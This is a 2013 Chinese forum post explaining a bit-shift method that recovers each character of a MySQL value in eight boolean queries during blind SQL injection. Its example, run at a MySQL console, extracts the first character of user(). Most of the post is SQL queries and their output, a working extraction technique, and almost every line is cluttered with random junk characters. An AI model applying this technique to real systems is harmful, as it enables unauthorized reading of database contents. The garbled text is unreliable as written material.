找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1926|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位$ {  A) f. \) |9 C, \6 f
3 n$ M. d4 h! `1 C, a" c

. }* }; h: \, c7 g5 O
, b# o0 _# ~5 E% ?5 N% f: O( J下面将以查询mysql数据库当中user()的第一位为例:
- n5 K: _9 m9 P: x4 e
* I0 H& D8 `+ @/ F 6 U* `* a; @9 F
" U, o+ P" r5 P. a. V
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)) S- \$ T3 G2 J& N& m3 y5 y

. j# u& }! Z6 e$ \3 U ( E' y+ J( `8 l( F8 t$ C% p5 a
) z# f5 ]4 K; i! C$ u7 }/ d$ H1 ~
首先执行如下sql语句:, s- G& `& O! ]3 W
/ \; j/ q. @# S8 T  V
% x* f$ E2 n- a5 C( b
* r( J. P8 [5 M5 `
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
6 p+ {( H7 f* K: \! [5 \- F5 J! w& T0 r0 Y7 E9 M
; Q; |/ [7 A) X8 H5 A) w
% G! S- o/ d2 G% |, W( s
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
6 \: ?4 ~: u# u, w& M; Y" q- U3 H$ s7 F7 {* A7 T2 v
0 s6 ^$ T$ |0 v- p% ~( `

7 n5 ?' J! T: P) y" \第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
* q' h" k9 V  L6 b# r$ o
* C. i. t3 Z& M) U
, D3 G4 f; I8 R6 x" M% L! B4 {2 C
) U( ~. i+ d( B如果运算结果为1,说明第一位为0,不为1* A% o* F4 p" B; J$ v# c

0 c! D& K7 l" t9 o6 d0 |0 h% ]
- c6 C8 A" |8 I  p' P$ v- e
% w. z! |  ?6 N% ]( z8 d/ S+————————————–+) D4 r! R8 F' p% M, Q' _. i

4 t8 a! B5 S, D: d( Y| (ascii((substr(user(),1,1))) >> 7)=0 |
0 L. a+ q1 O+ N  T' x
. _( q! _! g2 i2 O1 T- r" V; w: f+————————————–+
8 o) T: S7 k1 A0 a* N& h1 H, y) f; I* V
| 1 |
+ B2 ^8 f( r$ l1 @: A& f' }% g7 b7 O! @& f: j& b# ]
+————————————–+
4 b! x; _- \$ X  p$ Q5 q$ A, {; D% R/ j/ o
1 row in set (0.00 sec)  H$ e$ f/ u, p* `9 w6 E5 I- z( h8 P

) A% m) o: I0 ?2 i这样我们就确定这个8bit的ascii的第一位为0
. t, n4 V7 }& }, z: D% r5 p9 y( a7 R3 y
) ?8 k& k! K; s# }* i( H- z5 w  c- K
$ f, X2 W( o: m% x
第二次我们来做6次右偏移来确定前两位
  d5 x2 f. `) d/ v8 G# n6 x' W: Y4 C# k

3 d! d+ X; ]1 W* y, i7 c$ y
0 z- [; J1 x1 q: _' ~. n3 w前两位可能是01或00,即依然可以与0做比较,; @# y( A0 _; ~

7 n( {* c' R5 B. r) A9 o* t* N) pmysql> select (ascii((substr(user(),1,1))) >> 6)=0;, h4 m1 C% p9 _" d/ N

' X- D0 n! S8 b8 f3 ?+————————————–+
/ f7 ~. ]* Y  |8 t0 |+ ^9 Y  g  q  V" u% |7 d; i. i
| (ascii((substr(user(),1,1))) >> 6)=0 |6 K. y+ X: b4 N

2 L; v, Q+ H' x9 E+————————————–+# c4 u2 L5 Y. ^1 G

* t4 J8 ^: A9 v( l. O  F' @| 0 |3 ]' u. Y1 d+ o
. F) n: o4 ~# p% _
+————————————–+
% l6 x# z! j6 ]6 p4 [; Z) |1 V. P5 I2 s8 d0 Y* P2 @' m& a
1 row in set (0.00 sec)
! f  w0 g# I: T; i( C! o& S0 i6 m) x8 U  C! H

. I( e* l% D+ o. A- x! O9 u( B1 H
/ Y: M# {* `: [5 _结果为0,即第二位为18 G/ n3 u3 j" `! v/ v+ o

0 V: n. Q  D7 M9 m
6 x, d7 j# k8 `4 L4 x
7 J" j0 f* |! u5 b: O& f* L开始猜测前三位为010或011( U* E  C; _. p1 S

& w8 Q/ H$ k( i1 e4 Q, z ' g  W2 Q- _. }7 K% `
; ^3 q8 l6 G) G9 p" Q) P
让我们看看010和011的ascii码是多少7 Z5 O0 M( L/ d: @- z
9 R# [8 {, n/ I

( A4 X# k9 B& h, K" r: ?  B
% L! E! b: P/ k分别查询select b’011′ select b’010′) K) I3 B+ v' n6 o8 u$ N5 O! U

7 z) ]4 s4 d2 @  G8 i8 h/ k 8 s: l3 `3 K/ C& K- z

" B" U4 L- q- y9 Y/ P8 y! [- n获得结果 010 = 2 011 = 3
. y; N2 J/ x0 s1 Q0 {+ C  d9 W
- z1 @1 J3 \* d# A* m/ h, n
# T* A3 E3 F" b* a3 d
7 L/ k& I  o1 l" f# G& |1 E. h. D执行如下sql:
0 s1 q9 t$ G3 k- l/ Y7 t* K- r  f& j; K2 w4 C9 t
2 A  `+ x( T% A( [& G; w) R( b

- y2 y/ H/ i( f% Jmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
% a' f4 I% m& O& U1 F8 I" z" v
' \; x# V/ P( d8 d; ?" ?+————————————–+
5 B$ p3 L, V/ F" M5 }/ d0 {  ^
  _6 j! V( s- N+ e1 q/ F/ o2 h* t| (ascii((substr(user(),1,1))) >> 5)=2 |
7 x# i2 ]" x& t' @+ O5 {$ U" {- ~- Z, K
+————————————–+
6 o+ c) t9 k' j- P% m; p8 P3 Z' }) M1 J' l  W
| 0 |6 M: _2 ?2 t3 q9 _1 K
9 R; u2 L6 {( J( ~) M4 ?( Q
+————————————–+
0 O" B1 f% E. O7 I) \. n) L* c5 r" x; @
即前三位不为010,而是011
4 u1 S6 z4 E) X: x/ C* F$ U% T; s
9 T/ h" O7 m$ e 6 p* L; Z1 _$ R

0 h7 B" r2 Q/ n& Q+ L直到获得最后一位0 \5 t) m, F8 ~! M3 W
8 h/ t3 K% i' o1 g
' H8 {+ I7 q& j# s. m+ H% |6 W
, H+ ^8 m4 L+ z; V
最终结果为:01110010
3 y: a* V. r1 q, Q5 O
: r3 v! ^% J  ] 4 y8 c4 x4 g) {( [
/ M8 {/ Y$ c5 ]% U* N) t5 u7 G
转换一下:
4 K# m8 _& z& }) h$ s
1 J& @5 s. R- O" k. S
: |& w2 J) P1 r" r2 H  Z7 c+ H0 O3 Q& \7 [' p
select b’01110010′% v- H/ p% ?& N+ v
0 M& M3 r3 X7 C- r, p

- ]1 a, O' M/ E" m6 F4 L
* W6 W( s6 n0 z& ]: F查询结果
* ~+ q/ b9 S! U: X4 h4 s% i. M4 f2 Q

# |: v$ x1 f: m7 {- U4 t8 e  x
2 M: ]' P' ]5 ~5 u0 }5 G+————-+
% c0 r* e' i# B) ?: ], [1 r2 r$ h. I6 p" j$ K0 k
| b’01110010′ |
# l6 z  O  z8 k1 i% W+ Q/ ?9 x
3 @; l9 W) m0 o' [- T+————-+
0 S& a1 c  R7 o3 D  `2 I0 G, |! t6 w' z& x6 M8 Z& b) x5 x
| r |
  _: o/ S% L1 D* L' o% ~! Z7 z" f
) F/ W3 ]! i% O0 ?! V+————-+" T, ?8 J6 O4 }" \$ {/ `9 {0 ~4 I
. B8 ]" x- _& ~9 U# I3 M
1 row in set (0.00 sec)" [  P3 Q1 t! g
5 g  s3 y( l( H2 i; s9 o

# }& q; a! n- d' k4 Y0 t  H" h( A6 m/ ~! V0 I0 l- `+ U
这样我们就获得了user()的第一位.其它位依此类推# _( p$ S) Q1 x7 y% B1 I
5 {% j2 g' C1 b5 E, H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表